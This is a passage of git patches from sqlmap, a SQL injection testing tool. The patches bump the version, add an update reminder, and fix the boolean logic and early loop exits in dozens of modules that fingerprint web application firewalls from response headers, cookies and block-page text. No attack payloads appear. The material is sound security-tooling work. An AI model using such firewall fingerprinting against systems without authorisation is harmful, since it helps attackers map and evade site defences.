lib.core.settings import GIT_PAGE from lib.core.settings import IS_WIN + from lib.core.settings import LAST_UPDATE_NAGGING_DAYS from lib.core.settings import LEGAL_DISCLAIMER from lib.core.settings import THREAD_FINALIZATION_TIMEOUT from lib.core.settings import UNICODE_ENCODING @@ -351,6 +353,11 @@ def main(): finally: kb.threadContinue = False + _ = getDaysFromLastUpdate() + if _ > LAST_UPDATE_NAGGING_DAYS: + warnMsg = "you haven't updated sqlmap for more than %d days!!!" % _ + logger.warn(warnMsg) + if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) From 9043d9dd05a3b9470abeacd9510752999a7479ae Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Tue, 16 Apr 2019 13:37:02 +0200 Subject: [PATCH 220/800] Minor patching of logics in WAF scripts --- lib/core/settings.py | 2 +- waf/360.py | 2 +- waf/aesecure.py | 2 +- waf/airlock.py | 2 +- waf/anquanbao.py | 2 +- waf/approach.py | 2 +- waf/armor.py | 2 +- waf/asm.py | 2 +- waf/aws.py | 2 +- waf/barracuda.py | 2 +- waf/bekchy.py | 2 +- waf/bitninja.py | 2 +- waf/bluedon.py | 2 +- waf/cerber.py | 2 +- waf/chinacache.py | 2 +- waf/ciscoacexml.py | 2 +- waf/cloudbric.py | 4 +++- waf/cloudfront.py | 4 +--- waf/comodo.py | 2 +- waf/crawlprotect.py | 4 +++- waf/distil.py | 2 +- waf/dotdefender.py | 2 +- waf/edgecast.py | 2 +- waf/expressionengine.py | 2 +- waf/fortiweb.py | 2 +- waf/godaddy.py | 4 +++- waf/greywizard.py | 2 +- waf/imunify360.py | 4 ++-- waf/incapsula.py | 2 +- waf/janusec.py | 2 +- waf/jiasule.py | 2 +- waf/knownsec.py | 2 +- waf/kona.py | 2 +- waf/malcare.py | 4 +++- waf/modsecurity.py | 2 +- waf/naxsi.py | 2 +- waf/newdefend.py | 2 +- waf/ninjafirewall.py | 4 +++- waf/onmessageshield.py | 2 +- waf/paloalto.py | 2 +- waf/perimeterx.py | 4 +++- waf/profense.py | 2 +- waf/radware.py | 2 +- waf/reblaze.py | 2 +- waf/requestvalidationmode.py | 2 +- waf/rsfirewall.py | 4 +++- waf/safe3.py | 2 +- waf/safedog.py | 2 +- waf/safeline.py | 2 +- waf/secureentry.py | 2 +- waf/secureiis.py | 2 +- waf/securesphere.py | 2 +- waf/senginx.py | 2 +- waf/shieldsecurity.py | 4 +++- waf/siteground.py | 2 +- waf/siteguard.py | 2 +- waf/sitelock.py | 2 +- waf/sonicwall.py | 2 +- waf/sophos.py | 2 +- waf/squarespace.py | 2 +- waf/stackpath.py | 2 +- waf/sucuri.py | 2 +- waf/tencent.py | 2 +- waf/trafficshield.py | 2 +- waf/urlmaster.py | 2 +- waf/urlscan.py | 2 +- waf/varnish.py | 2 +- waf/virusdie.py | 4 +++- waf/wallarm.py | 2 +- waf/watchguard.py | 2 +- waf/webknight.py | 2 +- waf/webseal.py | 2 +- waf/wordfence.py | 2 +- waf/wts.py | 2 +- waf/yundun.py | 2 +- waf/yunsuo.py | 2 +- waf/zenedge.py | 2 +- 77 files changed, 96 insertions(+), 80 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 89512e3c3f3..bd4a25fbeab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.4.12" +VERSION = "1.3.4.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/waf/360.py b/waf/360.py index d801b66fbad..0953434aaf8 100644 --- a/waf/360.py +++ b/waf/360.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = headers.get("X-Powered-By-360wzb") is not None + retval |= headers.get("X-Powered-By-360wzb") is not None retval |= code == 493 and "/wzws-waf-cgi/" in (page or "") retval |= all(_ in (page or "") for _ in ("eventID", "If you are the Webmaster", "<title>493")) if retval: diff --git a/waf/aesecure.py b/waf/aesecure.py index 980d3bfeb0a..5b871463d30 100644 --- a/waf/aesecure.py +++ b/waf/aesecure.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = headers.get("aeSecure-code") is not None + retval |= headers.get("aeSecure-code") is not None retval |= all(_ in (page or "") for _ in ("aeSecure", "aesecure_denied.png")) if retval: break diff --git a/waf/airlock.py b/waf/airlock.py index a6ffbd749d0..5a6990961a0 100644 --- a/waf/airlock.py +++ b/waf/airlock.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= all(_ in (page or "") for _ in ("The server detected a syntax error in your request", "Check your request and all parameters", "Bad Request", "Your request ID was")) if retval: break diff --git a/waf/anquanbao.py b/waf/anquanbao.py index 24a528e17d0..33b2dcd5d95 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code == 405 and any(_ in (page or "") for _ in ("/aqb_cc/error/", "hidden_intercept_time")) + retval |= code == 405 and any(_ in (page or "") for _ in ("/aqb_cc/error/", "hidden_intercept_time")) if retval: break diff --git a/waf/approach.py b/waf/approach.py index cdb58d8636b..fe7103b85b5 100644 --- a/waf/approach.py +++ b/waf/approach.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"Approach Web Application Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"Approach Web Application Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"Approach()? Web Application Firewall", page or "", re.I) is not None retval |= " Your IP address has been logged and this information could be used by authorities to track you." in (page or "") retval |= all(_ in (page or "") for _ in ("Sorry for the inconvenience!", "If this was an legitimate request please contact us with details!")) diff --git a/waf/armor.py b/waf/armor.py index 6f8e79ea179..6f20b7806b5 100644 --- a/waf/armor.py +++ b/waf/armor.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "This request has been blocked by website protection from Armor" in (page or "") + retval |= "This request has been blocked by website protection from Armor" in (page or "") if retval: break diff --git a/waf/asm.py b/waf/asm.py index cbbb31a0094..dbd105b201e 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") + retval |= "The requested URL was rejected. Please consult with your administrator." in (page or "") retval |= all(_ in (page or "") for _ in ("security.f5aas.com", "Please enable JavaScript to view the page content")) if retval: break diff --git a/waf/aws.py b/waf/aws.py index 0d577fefa7f..cc2137ddada 100644 --- a/waf/aws.py +++ b/waf/aws.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code == 403 and re.search(r"\bAWS", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= code == 403 and re.search(r"\bAWS", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/barracuda.py b/waf/barracuda.py index 33b72e2d6af..8305d6eb38e 100644 --- a/waf/barracuda.py +++ b/waf/barracuda.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"\Abarra_counter_session=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"\Abarra_counter_session=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"(\A|\b)barracuda_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= "when this page occurred and the event ID found at the bottom of the page" in (page or "") if retval: diff --git a/waf/bekchy.py b/waf/bekchy.py index 4bd8ba8f4c6..0db7b2d27a0 100644 --- a/waf/bekchy.py +++ b/waf/bekchy.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("Bekchy - Access Denided", "")) + retval |= any(_ in (page or "") for _ in ("Bekchy - Access Denided", "")) if retval: break diff --git a/waf/bitninja.py b/waf/bitninja.py index 7fb14017f4d..fc82310a612 100644 --- a/waf/bitninja.py +++ b/waf/bitninja.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("alt=\"BitNinja|Security check by BitNinja", "your IP will be removed from BitNinja", "Visitor anti-robot validation")) + retval |= any(_ in (page or "") for _ in ("alt=\"BitNinja|Security check by BitNinja", "your IP will be removed from BitNinja", "Visitor anti-robot validation")) if retval: break diff --git a/waf/bluedon.py b/waf/bluedon.py index 3ddd3960e05..2ae36904247 100644 --- a/waf/bluedon.py +++ b/waf/bluedon.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"BDWAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"BDWAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"Bluedon Web Application Firewall", page or "", re.I) is not None if retval: break diff --git a/waf/cerber.py b/waf/cerber.py index a05060271dc..404b4eed46d 100644 --- a/waf/cerber.py +++ b/waf/cerber.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("We're sorry, you are not allowed to proceed", "Your request looks suspicious or similar to automated requests from spam posting software")) + retval |= any(_ in (page or "") for _ in ("We're sorry, you are not allowed to proceed", "Your request looks suspicious or similar to automated requests from spam posting software")) if retval: break diff --git a/waf/chinacache.py b/waf/chinacache.py index f7369b04e17..35fc66c1b20 100644 --- a/waf/chinacache.py +++ b/waf/chinacache.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code >= 400 and headers.get("Powered-By-ChinaCache") is not None + retval |= code >= 400 and headers.get("Powered-By-ChinaCache") is not None if retval: break diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py index e9c0177202b..7ab2d9b4b23 100644 --- a/waf/ciscoacexml.py +++ b/waf/ciscoacexml.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, _ = get_page(get=vector) - retval = re.search(r"ACE XML Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"ACE XML Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/cloudbric.py b/waf/cloudbric.py index 78d4a177755..8693009e68a 100644 --- a/waf/cloudbric.py +++ b/waf/cloudbric.py @@ -14,6 +14,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code >= 400 and all(_ in (page or "") for _ in ("Cloudbric", "Malicious Code Detected")) + retval |= code >= 400 and all(_ in (page or "") for _ in ("Cloudbric", "Malicious Code Detected")) + if retval: + break return retval diff --git a/waf/cloudfront.py b/waf/cloudfront.py index fe5921f0d4f..8c1e22ceb64 100644 --- a/waf/cloudfront.py +++ b/waf/cloudfront.py @@ -14,9 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - - retval = all(_ in (page or "") for _ in ("Generated by cloudfront", "Request blocked")) - + retval |= all(_ in (page or "") for _ in ("Generated by cloudfront", "Request blocked")) if retval: break diff --git a/waf/comodo.py b/waf/comodo.py index 12cb108ffb4..786db3059dc 100644 --- a/waf/comodo.py +++ b/waf/comodo.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, _ = get_page(get=vector) - retval = re.search(r"Protected by COMODO WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"Protected by COMODO WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/crawlprotect.py b/waf/crawlprotect.py index 2e14828ad98..975480a1b38 100644 --- a/waf/crawlprotect.py +++ b/waf/crawlprotect.py @@ -14,7 +14,9 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, code = get_page(get=vector) - retval = code >= 400 and "This site is protected by CrawlProtect" in (page or "") + retval |= code >= 400 and "This site is protected by CrawlProtect" in (page or "") retval |= "CrawlProtect" in (page or "") + if retval: + break return retval diff --git a/waf/distil.py b/waf/distil.py index 2107794009b..b2b6e2602ae 100644 --- a/waf/distil.py +++ b/waf/distil.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = headers.get("x-distil-cs") is not None + retval |= headers.get("x-distil-cs") is not None retval |= any(_ in (page or "") for _ in ("distilCaptchaForm", "distilCallbackGuard", "cdn.distilnetworks.com/images/anomaly-detected.png")) if retval: break diff --git a/waf/dotdefender.py b/waf/dotdefender.py index b6b1999d45a..a7b8ad5555a 100644 --- a/waf/dotdefender.py +++ b/waf/dotdefender.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = headers.get("X-dotDefender-denied", "") == "1" + retval |= headers.get("X-dotDefender-denied", "") == "1" retval |= any(_ in (page or "") for _ in ("dotDefender Blocked Your Request", '<meta name="description" content="Applicure is the leading provider of web application security', "Please contact the site administrator, and provide the following Reference ID:")) if retval: break diff --git a/waf/edgecast.py b/waf/edgecast.py index 7964a7ba55e..ea3b4dd57c1 100644 --- a/waf/edgecast.py +++ b/waf/edgecast.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, code = get_page(get=vector) - retval = code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= code == 400 and re.search(r"\AECDF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/expressionengine.py b/waf/expressionengine.py index 53e1f14f405..9b158917320 100644 --- a/waf/expressionengine.py +++ b/waf/expressionengine.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) and re.search(r"\bexp_last_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) and re.search(r"\bexp_last_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None if retval: break diff --git a/waf/fortiweb.py b/waf/fortiweb.py index 34af5972f7d..0af1290f683 100644 --- a/waf/fortiweb.py +++ b/waf/fortiweb.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"\AFORTIWAFSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"\AFORTIWAFSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= all(_ in (page or "") for _ in (".fgd_icon", ".blocked", ".authenticate")) if retval: break diff --git a/waf/godaddy.py b/waf/godaddy.py index cfba8cf625a..6ccef66b73e 100644 --- a/waf/godaddy.py +++ b/waf/godaddy.py @@ -14,6 +14,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("Access Denied - GoDaddy Website Firewall", "<title>GoDaddy Security - Access Denied")) + retval |= any(_ in (page or "") for _ in ("Access Denied - GoDaddy Website Firewall", "GoDaddy Security - Access Denied")) + if retval: + break return retval diff --git a/waf/greywizard.py b/waf/greywizard.py index ff38fc329f3..b39b36288d7 100644 --- a/waf/greywizard.py +++ b/waf/greywizard.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"\Agreywizard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"\Agreywizard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= any(_ in (page or "") for _ in ("We've detected attempted attack or non standard traffic from your IP address", "Grey Wizard")) if retval: break diff --git a/waf/imunify360.py b/waf/imunify360.py index 0fd8d604c74..9826ed91927 100644 --- a/waf/imunify360.py +++ b/waf/imunify360.py @@ -17,8 +17,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"\Aimunify360", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval = any(_ in (page or "") for _ in ("protected by Imunify360", "Powered by Imunify360", "imunify360 preloader")) + retval |= re.search(r"\Aimunify360", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= any(_ in (page or "") for _ in ("protected by Imunify360", "Powered by Imunify360", "imunify360 preloader")) if retval: break diff --git a/waf/incapsula.py b/waf/incapsula.py index 720f9efa528..97ba89e09aa 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None retval |= "Incapsula incident ID" in (page or "") retval |= all(_ in (page or "") for _ in ("Error code 15", "This request was blocked by the security rules")) diff --git a/waf/janusec.py b/waf/janusec.py index 43ed78ede16..05228895f9b 100644 --- a/waf/janusec.py +++ b/waf/janusec.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("Reason:", "by Janusec Application Gateway")) + retval |= all(_ in (page or "") for _ in ("Reason:", "by Janusec Application Gateway")) if retval: break diff --git a/waf/jiasule.py b/waf/jiasule.py index 42be6b500e1..9f592503bb1 100644 --- a/waf/jiasule.py +++ b/waf/jiasule.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"jiasule-WAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"__jsluid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"jsl_tracking", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"static\.jiasule\.com/static/js/http_error\.js", page or "", re.I) is not None diff --git a/waf/knownsec.py b/waf/knownsec.py index 91b807e25d8..bb8116f248b 100644 --- a/waf/knownsec.py +++ b/waf/knownsec.py @@ -16,7 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = re.search(r"url\('/ks-waf-error\.png'\)", page or "", re.I) is not None + retval |= re.search(r"url\('/ks-waf-error\.png'\)", page or "", re.I) is not None if retval: break diff --git a/waf/kona.py b/waf/kona.py index 21f9bc42434..59a4c3d1a36 100644 --- a/waf/kona.py +++ b/waf/kona.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code >= 400 and re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= code >= 400 and re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/malcare.py b/waf/malcare.py index 8932a460891..4dad737391d 100644 --- a/waf/malcare.py +++ b/waf/malcare.py @@ -16,7 +16,9 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "Blocked because of Malicious Activities" in (page or "") + retval |= "Blocked because of Malicious Activities" in (page or "") retval |= re.search(r"Firewall(<[^>]+>)*powered by(<[^>]+>)*MalCare", page or "") is not None + if retval: + break return retval diff --git a/waf/modsecurity.py b/waf/modsecurity.py index 5a0b27783e0..9c619c0b979 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "Protected by Mod Security")) if retval: break diff --git a/waf/naxsi.py b/waf/naxsi.py index b714f4528d7..5423b0b6ff2 100644 --- a/waf/naxsi.py +++ b/waf/naxsi.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, _ = get_page(get=vector) - retval = re.search(r"naxsi/waf", headers.get(HTTP_HEADER.X_DATA_ORIGIN, ""), re.I) is not None + retval |= re.search(r"naxsi/waf", headers.get(HTTP_HEADER.X_DATA_ORIGIN, ""), re.I) is not None if retval: break diff --git a/waf/newdefend.py b/waf/newdefend.py index 9291821df06..2984d26acc1 100644 --- a/waf/newdefend.py +++ b/waf/newdefend.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"NewDefend", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"NewDefend", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= any(_ in (page or "") for _ in ("/nd_block/", "http://www.newdefend.com/feedback/misinformation/")) if retval: break diff --git a/waf/ninjafirewall.py b/waf/ninjafirewall.py index 001702d89d3..126d72f0456 100644 --- a/waf/ninjafirewall.py +++ b/waf/ninjafirewall.py @@ -14,7 +14,9 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "NinjaFirewall: 403 Forbidden" in (page or "") + retval |= "<title>NinjaFirewall: 403 Forbidden" in (page or "") retval |= all(_ in (page or "") for _ in ("For security reasons, it was blocked and logged", "NinjaFirewall")) + if retval: + break return retval diff --git a/waf/onmessageshield.py b/waf/onmessageshield.py index c3f23d0310f..9b0df54268c 100644 --- a/waf/onmessageshield.py +++ b/waf/onmessageshield.py @@ -16,7 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"onMessage Shield", headers.get("X-Engine", ""), re.I) is not None + retval |= re.search(r"onMessage Shield", headers.get("X-Engine", ""), re.I) is not None retval |= "This site is protected by an enhanced security system to ensure a safe browsing experience" in (page or "") retval |= "onMessage SHIELD" in (page or "") if retval: diff --git a/waf/paloalto.py b/waf/paloalto.py index b0aefc53de1..56944f4d683 100644 --- a/waf/paloalto.py +++ b/waf/paloalto.py @@ -16,7 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = re.search(r"has been blocked in accordance with company policy", page or "", re.I) is not None + retval |= re.search(r"has been blocked in accordance with company policy", page or "", re.I) is not None retval |= all(_ in (page or "") for _ in ("Palo Alto Next Generation Security Platform", "Download Blocked")) if retval: break diff --git a/waf/perimeterx.py b/waf/perimeterx.py index 9d7a5960647..d8415292f74 100644 --- a/waf/perimeterx.py +++ b/waf/perimeterx.py @@ -14,6 +14,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = "https://www.perimeterx.com/whywasiblocked" in (page or "") + retval |= "https://www.perimeterx.com/whywasiblocked" in (page or "") + if retval: + break return retval diff --git a/waf/profense.py b/waf/profense.py index b8b8e96099a..22c6592e73f 100644 --- a/waf/profense.py +++ b/waf/profense.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, _ = get_page(get=vector) - retval = re.search(r"\APLBSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"\APLBSID=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"Profense", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/radware.py b/waf/radware.py index 2b3f834ad84..a233ddaab04 100644 --- a/waf/radware.py +++ b/waf/radware.py @@ -16,7 +16,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page or "", re.I | re.S) is not None + retval |= re.search(r"Unauthorized Activity Has Been Detected.+Case Number:", page or "", re.I | re.S) is not None retval |= headers.get("X-SL-CompState") is not None if retval: break diff --git a/waf/reblaze.py b/waf/reblaze.py index 85f6f12fffb..60cc80fabbc 100644 --- a/waf/reblaze.py +++ b/waf/reblaze.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"\Arbzid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"\Arbzid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"Reblaze Secure Web Gateway", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= all(_ in (page or "") for _ in ("Current session has been terminated", "For further information, do not hesitate to contact us", "Access denied (403)")) if retval: diff --git a/waf/requestvalidationmode.py b/waf/requestvalidationmode.py index 7bec15a2798..94c4ef03d9a 100644 --- a/waf/requestvalidationmode.py +++ b/waf/requestvalidationmode.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, code = get_page(get=vector) - retval = "ASP.NET has detected data in the request that is potentially dangerous" in (page or "") + retval |= "ASP.NET has detected data in the request that is potentially dangerous" in (page or "") retval |= "Request Validation has detected a potentially dangerous client input value" in (page or "") retval |= code == 500 and "HttpRequestValidationException" in page if retval: diff --git a/waf/rsfirewall.py b/waf/rsfirewall.py index de9a5ed4781..adbdb232cf5 100644 --- a/waf/rsfirewall.py +++ b/waf/rsfirewall.py @@ -14,6 +14,8 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = any(_ in (page or "") for _ in ("COM_RSFIREWALL_403_FORBIDDEN", "COM_RSFIREWALL_EVENT")) + retval |= any(_ in (page or "") for _ in ("COM_RSFIREWALL_403_FORBIDDEN", "COM_RSFIREWALL_EVENT")) + if retval: + break return retval diff --git a/waf/safe3.py b/waf/safe3.py index ed2496f3445..487a0b33097 100644 --- a/waf/safe3.py +++ b/waf/safe3.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"Safe3WAF", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None + retval |= re.search(r"Safe3WAF", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None retval |= re.search(r"Safe3 Web Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= all(_ in (page or "") for _ in ("403 Forbidden", "Safe3waf/")) if retval: diff --git a/waf/safedog.py b/waf/safedog.py index cedd59c4d78..448aaa5e22d 100644 --- a/waf/safedog.py +++ b/waf/safedog.py @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = re.search(r"WAF/2\.0", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None + retval |= re.search(r"WAF/2\.0", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None retval |= re.search(r"Safedog", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"safedog", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= any(_ in (page or "") for _ in ("safedogsite/broswer_logo.jpg", "404.safedog.cn/sitedog_stat.html")) diff --git a/waf/safeline.py b/waf/safeline.py index 7058832d14f..aaf59154e7d 100644 --- a/waf/safeline.py +++ b/waf/safeline.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("SafeLine", "<!-- event_id:")) + retval |= all(_ in (page or "") for _ in ("SafeLine", "<!-- event_id:")) if retval: break diff --git a/waf/secureentry.py b/waf/secureentry.py index e0c46646fc2..8160f9e053a 100644 --- 